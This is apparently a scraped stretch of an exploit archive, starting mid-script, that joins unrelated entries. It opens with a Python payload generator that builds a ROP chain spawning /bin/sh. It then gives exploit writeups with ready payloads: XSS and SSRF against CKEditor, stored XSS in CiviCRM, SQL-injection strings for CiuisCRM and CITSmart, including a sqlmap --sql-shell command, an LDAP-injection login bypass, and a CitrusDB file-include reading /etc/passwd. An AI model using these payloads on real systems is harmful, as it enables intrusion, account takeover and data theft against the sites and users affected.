allo = [   1,    0,    0,    0,    0,    0,    0]
w   += prepare_function_header(35, 0x1, 0x0, 0x7)
# BB parsing
p  = 'B'
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += '@d'
 
# STORE (0x0068732f6e69622f(L=8) -> ([Var #1]))
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += 'Nobbfifnfobcghfh'
p += wn(0x1)
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'C`fcd'
 
# LOAD Var #2 = ([Var #1])
p += wn(0x40)
p += wn(0x2)
p += wn(0x27, 1)
p += wn(0x1)
 
# SUB Var #2 -= 0xd260
p += wn(0x40)
p += wn(0x2)
p += wn(0x2, 1, 2)
p += wn(0x2)
p += 'D`fbmd'
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`ad'
 
# LOAD Var #3 = ([Var #1])
p += wn(0x40)
p += wn(0x3)
p += wn(0x27, 1)
p += wn(0x1)
 
# SUB Var #3 -= 0x10
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += 'B`ad'
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`cd'
 
# LOAD Var #4 = ([Var #1])
p += wn(0x40)
p += wn(0x4)
p += wn(0x27, 1)
p += wn(0x1)
 
# SUB Var #4 -= 0x190
p += wn(0x40)
p += wn(0x4)
p += wn(0x2, 1, 2)
p += wn(0x4)
p += 'C`iad'
 
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhcd'
 
# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhdd'
 
# ADD Var #3 += 0x3
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += 'Acd'
 
# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhbd'
 
# ADD Var #5 += Var #2 + 0xcbda
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Djmkld'
 
# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`bd'
 
# STORE (Var #4 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x4)
p += wn(0x1)
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhad'
 
# ADD Var #5 += Var #2 + 0x99dc
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Dlmiid'
 
# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`ad'
 
# STORE (0x3b -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += 'Bkcd'
p += wn(0x1)
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`cd'
 
# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += '@d'
p += wn(0x1)
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`dd'
 
# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += '@d'
p += wn(0x1)
 
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Ahd'
 
# ADD Var #2 += 0x6d68
p += wn(0x40)
p += wn(0x2)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Dhfmfd'
 
# STORE (Var #2 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x2)
p += wn(0x1)
 
'''
0x99dc : pop rdi ; ret
0xcbda : pop rsi ; ret
0x6d68 : pop rax ; ret
 
Var #2 = text_base
Var #3 = syscall       (+3: pop rdx; ret)
Var #4 = "/bin/sh\x00"
 
pop rax; ret; o  0x8
59            o  0x10
pop rdi; ret; o  0x18
sh; address   o  0x20
pop rsi; ret; o  0x28
0x0           o  0x30
pop rdx; ret; o  0x38
0x0           o  0x40
syscall       o  0x48
'''
 
# COPY Var #6 = (0x5a90050f(o`e``ije))
p += wn(0x20)
p += wn(0x0)
p += wn(0x22, 1)
p += 'Ho`e``ijeh'
p += wn(0x6)
 
p += 'T'
p += wn(0x13, 1)
p += wn(0x20)
p += wn(0x6)
p += 'E'
 
w += p
f  = open("exploit", "w")
f.write(w)
f.close()
 
print '[+] Generated payload'
 
'''
Mortals represent immorality, clueless, they crush each other in an everlasting
pursuit to climb the ladder of social-status, greed is engraved in their nature,
they're materialistic, and the essence of their lives is money and wealth.
However, such definition is inaccurate as it doesn't apply to the minority.
I have discovered a truly marvelous proof of their existence, which this margin
is too narrow to contain.
 
- Alien599, not Fermat.
 
Greetings to Alien133, Alien610, Alien6068, Alien814, Alien641.
X
'''
HireHackking 
# Exploit Title: CKEditor 5 35.4.0 - Cross-Site Scripting (XSS)
# Google Dork: N/A
# Date: February 09, 2023
# Exploit Author: Manish Pathak
# Vendor Homepage: https://cksource.com/
# Software Link: https://ckeditor.com/ckeditor-5/download/
# Version: 35.4.0
# Tested on: Linux / Web
# CVE : CVE-2022-48110



CKSource CKEditor5 35.4.0 was discovered to contain a cross-site scripting (XSS) vulnerability via Full Featured CKEditor5 Widget as the editor fails to sanitize user provided data.

An attacker can execute arbitrary script in the browser in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CKEditor5 version 35.4.0 is tested & found to be vulnerable.

Documentation avaiable at https://ckeditor.com/docs/ckeditor5/latest/features/html-embed.html#security

Security Docs Says """The HTML embed feature does not currently execute code in <script> tags. However, it will execute code in the on* and src="javascript:..." attributes."""



Payload:

<div class="raw-html-embed">
    <script>alert(456)</script>
</div>
HireHackking 
# Exploit Title: CKEditor 3 - Server-Side Request Forgery (SSRF)
# Google Dorks : inurl /editor/filemanager/connectors/uploadtest.html
# Date: 12-6-2021
# Exploit Author: Blackangel
# Software Link: https://ckeditor.com/
# Version:all version under 4 (1,2,3)
# Tested on: windows 7

Steps of Exploit:-

1-using google dorks

inurl /editor/filemanager/connectors/uploadtest.html

2-after going to vulnerable page you will find filed “Custom Uploader URL: ”

3-right click then choose inspect element, click on pick an element from
the page , select field Custom Uploader URL:

4-in elements “<input id=”txtCustomUrl” style=”WIDTH: 100%;
BACKGROUND-COLOR: #dcdcdc” disabled=”” type=”text”>”

delete disabled=””

5-now you can put url start with any protocal

6-send it to the server as you see website that you have entered link

is appear into page .

what this mean??!!1

you send request to server using vulnerable website

you can said i used it as proxy

hackers >>> vulnerable website >>> http:/xx.com

so in http://xx.com logs requests come from vulnerable website

impact:-

1-that allows an attacker to induce the server-side application to make
HTTP requests to an arbitrary domain of the attacker’s choosing. if there
is big company use old version hackers can send request via there websites
and this not good for reputation of company

2-put big company website in blacklist of websites cause i hackers can send
many of request via vulnerable website

Mitigation:-

Remove the uploadtest.html file as it is not used by the application.
HireHackking 
source: https://www.securityfocus.com/bid/58045/info

CKEditor is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CKEditor 4.0.1 is vulnerable; other versions may also be affected.

<body onload="javascript:document.forms[0].submit()">
<form name="form1" method="post" action="http://www.example.com/admin/ckeditor/samples/sample_posteddata.php" enctype="multipart/form-data">
<input type="hidden" name="<script>alert('AkaStep');</script>" id="fupl" value="SENDF"></li>
</form>
HireHackking 
# Exploit Title: CiviCRM 5.59.alpha1 - Stored XSS (Cross-Site Scripting)
# Date: 2023-02-02
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://civicrm.org
# Software Link: https://civicrm.org/download
# Version: 5.59.alpha1, 5.58.0 (and earlier), 5.57.3 (and earlier)
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 109.0.1, Microsoft Edge 109.0.1518.70)
# CVE: CVE-2023-25440 
Vendor Security Advisory: CIVI-SA-2023-05


Description:

A stored cross-site scripting (XSS) vulnerability in CiviCRM 5.59.alpha1 allows attacker to execute arbitrary web
scripts or HTML.

Injecting persistent javascript code inside the "Add Contact" function while creating a contact, in first/second name
field, it will be triggered once page gets loaded.


Steps to reproduce:

- Quick Add contact to CiviCRM,
- Insert a payload PoC inside the field(s)
- Click on 'Add contact'.

If a user visits the dashboard, as well as "Recently added" box, the javascript code will be rendered.
HireHackking 
===========================================================================================
# Exploit Title: CiuisCRM 1.6 - 'eventType' SQL Inj.
# Dork: N/A
# Date: 27-05-2019
# Exploit Author: Mehmet EMİROĞLU
# Vendor Homepage: https://codecanyon.net/item/ciuis-crm/20473489
# Software Link: https://codecanyon.net/item/ciuis-crm/20473489
# Version: v1.6
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Ciuis CRM you can easily manage your customer relationships and save time on your business.
===========================================================================================
# POC - SQLi
# Parameters : eventType
# Attack Pattern :
-1+or+1%3d1+and(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
# POST Method : http://localhost/ciuiscrm-16/calendar/addevent
===========================================================================================
HireHackking 
# Exploit Title: [Ciuis CRM v 1.0.7 Sql Injection]
# Google Dork: [if applicable]
# Date: [12/15/2017]
# Exploit Author: [Zahid Abbasi]
# Contact: http://twitter.com/zahidsec
# Website: http://zahidabbasi.com
# Vendor Homepage: [http://ciuis.com/]
# Software Link: [https://codecanyon.net/item/ciuis-crm/20473489]
# Version: [1.0.7] (REQUIRED)
# Tested on: [Win 7 64-bit]
# CVE : [if applicable]

1. Description

The injection required user registration on CIUS CRM. Old versions have 
not been tested but it's a guess, they are also vulnerable.
The URL path filename appears to be vulnerable to SQL injection attacks.
The payload 65079277 or 7647=07647 was submitted in the URL path 
filename, and a database error message was returned.
You should review the contents of the error message, and the 
application's handling of other input, to confirm whether a 
vulnerability is present.

2. Proof of Concept

The live testing was done on demo site of the script.
https://ciuis.com/demo/accounts/account/4 [URL path filename]
Request:-
GET /demo/accounts/account/465079277%20or%207647%3d07647 HTTP/1.1
Host: ciuis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) 
Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ci_session=98b5ef21cb2d123fb376f135218129226808fbec
Connection: close
Upgrade-Insecure-Requests: 1
Response:-
After placing our injection code and forwarding the request. The html 
response is posted below.
<div id="container">
        <h1>A Database Error Occurred</h1>
        <p>Error Number: 1064</p><p>You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the 
right syntax to use near 'and `transactiontype` =0)' at line 
3</p><p>SELECT SUM(`amount`) AS `amount`
--
HireHackking 
source: https://www.securityfocus.com/bid/57049/info

City Reviewer is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/city_reviewer/search.php?category=6
HireHackking 
# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)
# Google Dork: "citsmart.local"
# Date: 11/03/2021
# Exploit Author: skysbsb
# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html
# Version: < 9.1.2.28
# CVE : CVE-2021-28142

To exploit this flaw it is necessary to be authenticated.

URL vulnerable:
https://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale
Param vulnerable: query

Sqlmap usage:  sqlmap -u "
https://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix "')" --suffix "AND ('abc%'='abc" --sql-shell

Affected versions: < 9.1.2.28
Fixed versions: >= 9.1.2.28

Vendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)
HireHackking 
# Exploit Title: CITSmart ITSM 9.1.2.22 - LDAP Injection
# Google Dork: "citsmart.local"
# Date: 29/12/2020
# Exploit Author: skysbsb
# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html
# Version: < 9.1.2.23
# CVE : CVE-2020-35775

To exploit this flaw it is necessary to have at least one user/password previously registered, because the system checks (ldap bind) the first user returned in the ldap search. However, it returns the last user found in the search to the function that called it (logic error).

So, I call this problem an LDAP injection in conjunction with a programming logic error that allows you to authenticate to CITSmart ITSM with another valid user without needing to know the target user's password.

Affected versions: < 9.1.2.23
Fixed versions: >= 9.1.2.23

Using this LDAP query in the username field of login page you could login with the target_username account without knowing the target account password.

*)(|(sAMAccountName=valid_username)(sAMAccountName=target_username)

You must know at least one username/password because the autenticacaoAD() function at LDAPUtils.java class (package br.com.centralit.citcorpore.integracao.ad) will try to bind with the first user (valid_username) of the query result.

Vendor has acknowledge this vulnerability at ticket 5929 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)
HireHackking 
source: https://www.securityfocus.com/bid/52946/info

CitrusDB is prone to a local file-include vulnerability and an SQL-injection vulnerability.

An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.

CitrusDB 2.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/lab/citrus-2.4.1/index.php?load=../../../../../etc/passwd%00&type=base